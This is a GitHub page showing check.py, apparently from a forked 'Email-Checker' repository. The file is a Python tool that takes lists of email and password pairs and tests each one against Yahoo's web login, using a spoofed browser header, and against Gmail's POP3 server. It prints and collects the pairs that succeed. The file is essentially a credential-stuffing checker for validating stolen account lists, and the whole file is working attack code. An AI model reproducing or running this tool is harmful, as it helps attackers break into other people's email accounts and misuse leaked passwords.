forked from nguyenph88/Email-Checker
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathcheck.py
More file actions
185 lines (145 loc) · 5.98 KB
/
Copy pathcheck.py
File metadata and controls
185 lines (145 loc) · 5.98 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
import urllib.request
from random import choice
import string
import http.cookiejar
import getpass, poplib
from optparse import OptionParser
import os
def lineFilter(line):
# remove all spaces
line = line.replace(' ','')
# replace seperator: , --- develop by removing special chars
line = line.replace(',','|')
return line
def randomEncryptKey(length=8):
chars = 'qwertyuioplkjhgfdsazxcvbnm1234567890'
return ''.join([choice(chars) for i in range(length)])
def checkYahoo( email, passwd, single ):
### Using method of posting/get response from serverr
### along with cookies, header, SSL enabled ... and
### when the responses is true to a specific value, the login is valid
global success
url = 'http://login.yahoo.com/config/login?.intl=' + randomEncryptKey(15) + '&.src=ym&login=' + email + '&passwd=' + passwd
#print('URL check:', url)
# Make request and get the response
# Must specify header, otherwise Python will create agents=python which will be prevented from web
headers = {
'User-Agent': 'Mozilla/5.0 (Windows; U; Windows NT 5.0; en-GB; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12',
'Accept': 'text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5',
'Accept-Language': 'en-gb,en;q=0.5',
'Accept-Charset': 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',
'Connection': 'keep-alive'
}
# Cookie cookie cookie
request = urllib.request.Request(url, None, headers)
response = urllib.request.urlopen(request)
cookies = http.cookiejar.CookieJar()
cookies.extract_cookies( response, request )
cookie_handler = urllib.request.HTTPCookieProcessor( cookies )
redirect_handler = urllib.request.HTTPRedirectHandler()
opener = urllib.request.build_opener( redirect_handler, cookie_handler )
response = opener.open(request)
#Decode into string format
stringRes = response.read().decode("utf8")
# Easter Egg
if stringRes.find('Invalid ID or password') != -1:
print('Failed!')
else:
if single == False: success.append(email + '|' + passwd )
print('Passed!')
# Close to create new connection, otherwise the previous account still logs in
response.close()
def checkGmail( email, pa, single ):
## Using method of treating the email as a login
## to its own POP server and when it fails, the login fails too
global success
M = poplib.POP3_SSL('pop.gmail.com', '995')
# M.set_debuglevel(5)
user = email
try:
password = pa
M.user(user)
M.pass_(pa)
except:
#M.quit()
print('Failed!')
else:
#M.quit()
if single == False: success.append(user + '|' + password )
print('Passed!')
def filterPassword( passwd ):
passwd = passwd.replace('\n','')
return passwd
def get_options():
parser = OptionParser(usage="usage: %prog [options] filename",
version="%prog 1.0")
parser.add_option("-s", "--single",
action="store_true",
dest="singleLogin",
default=False,
help="Check single login validity. Ex: check.py -s [email protected],asd")
parser.add_option("-f", "--filename",
action="store_true",
dest="fileName",
default=False,
help="File contains email/password. Ex: check.py -f accounts.txt")
return parser
def printSuccessfulLogin():
global success
print('\nSuccessful Logins:')
for i in success:
print(i)
def main():
# Global Declare
global success
# Clear screen
# This work only for Python GUI, turn off when running with command line
os.system('cls')
# Get options and arguments list
parser = get_options()
options, args = parser.parse_args()
# Check if no arguement is specified
if len(args) <= 0:
parser.print_help()
print('Error: please specify filename or single login')
exit(1)
# If single Login is specify
if options.singleLogin:
single = True
line = args[0]
# Filtering line
line = lineFilter(line)
components = line.split('|')
# Password need to be filtered before sending in
components[1] = filterPassword(components[1])
print('* User:', components[0],'| Password:', components[1], end='...')
# Make a Connection to server
if components[0].find('yahoo') != -1: checkYahoo(components[0], components[1], single)
if components[0].find('gmail') != -1: checkGmail(components[0], components[1], single)
# If file is imputted
if options.fileName:
single = False
filename = args[0]
try:
file = open(filename)
while 1:
line = file.readline()
if not line: break
# Filtering line
line = lineFilter(line)
components = line.split('|')
# Password need to be filtered before sending in
components[1] = filterPassword(components[1])
print('* User:', components[0],'| Password:', components[1], end='...')
# Make a Connection to server
if components[0].find('yahoo') != -1: checkYahoo(components[0], components[1], single)
if components[0].find('gmail') != -1: checkGmail(components[0], components[1], single)
file.close()
# Print them out
printSuccessfulLogin()
except IOError:
file.close()
print('File cannot be found. Make sure file name is mp.txt')
if __name__ == '__main__':
success = []
main()